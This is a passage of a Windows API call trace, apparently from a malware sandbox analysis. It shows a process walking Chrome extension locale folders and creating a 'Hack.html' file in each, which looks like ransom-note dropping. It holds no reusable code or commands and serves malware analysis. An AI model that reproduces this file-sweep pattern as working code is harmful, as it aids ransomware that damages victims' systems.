FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0075.932] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0075.932] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0075.933] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0075.933] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0075.933] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et", lpFilePart=0x0) returned 0x92 [0075.933] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et\\", lpFilePart=0x0) returned 0x93 [0075.933] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a728 [0075.933] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.933] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.933] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0075.933] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0075.933] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0075.933] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0075.933] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et\\Hack.html", lpFilePart=0x0) returned 0x9c [0075.934] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0075.934] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0075.934] GetFileType (hFile=0x174) returned 0x1 [0075.934] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0075.934] GetFileType (hFile=0x174) returned 0x1 [0075.935] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0075.935] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa", lpFilePart=0x0) returned 0x92 [0075.935] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa\\", lpFilePart=0x0) returned 0x93 [0075.935] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a728 [0075.936] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.936] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.936] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0075.936] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0075.936] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0075.936] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0075.936] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0075.936] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa", lpFilePart=0x0) returned 0x92 [0075.936] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa\\", lpFilePart=0x0) returned 0x93 [0075.936] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a728 [0075.937] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.937] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.937] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0075.937] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0075.937] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0075.937] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0075.937] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa\\Hack.html", lpFilePart=0x0) returned 0x9c [0075.937] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0075.937] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0075.938] GetFileType (hFile=0x174) returned 0x1 [0075.938] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0075.938] GetFileType (hFile=0x174) returned 0x1 [0075.939] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0075.939] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi", lpFilePart=0x0) returned 0x92 [0075.939] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi\\", lpFilePart=0x0) returned 0x93 [0075.939] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a728 [0075.941] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.941] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.941] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0075.941] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0075.941] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0075.941] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0075.941] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0075.941] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi", lpFilePart=0x0) returned 0x92 [0075.941] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi\\", lpFilePart=0x0) returned 0x93 [0075.941] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a728 [0075.941] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.942] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.942] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0075.942] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0075.942] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0075.942] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0075.942] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi\\Hack.html", lpFilePart=0x0) returned 0x9c [0075.942] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0075.942] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0075.943] GetFileType (hFile=0x174) returned 0x1 [0075.943] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0075.943] GetFileType (hFile=0x174) returned 0x1 [0075.944] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0075.944] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil", lpFilePart=0x0) returned 0x93 [0075.944] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil\\", lpFilePart=0x0) returned 0x94 [0075.944] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a728 [0075.944] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.944] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.944] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0075.945] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0075.945] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0075.945] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0075.945] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0075.945] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil", lpFilePart=0x0) returned 0x93 [0075.945] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil\\", lpFilePart=0x0) returned 0x94 [0075.945] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a728 [0075.945] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.945] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.945] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0075.945] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0075.946] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0075.946] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0075.946] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil\\Hack.html", lpFilePart=0x0) returned 0x9d [0075.946] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0075.946] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0075.946] GetFileType (hFile=0x174) returned 0x1 [0075.946] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0075.946] GetFileType (hFile=0x174) returned 0x1 [0075.947] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0075.947] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr", lpFilePart=0x0) returned 0x92 [0075.948] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr\\", lpFilePart=0x0) returned 0x93 [0075.948] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a728 [0075.949] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.949] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.949] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0075.949] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0075.949] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0075.949] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0075.949] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0075.950] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr", lpFilePart=0x0) returned 0x92 [0075.950] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr\\", lpFilePart=0x0) returned 0x93 [0075.952] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a328 [0075.952] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.952] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.952] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0075.952] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0075.953] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0075.953] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0075.953] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr\\Hack.html", lpFilePart=0x0) returned 0x9c [0075.953] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0075.953] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0075.953] GetFileType (hFile=0x174) returned 0x1 [0075.953] 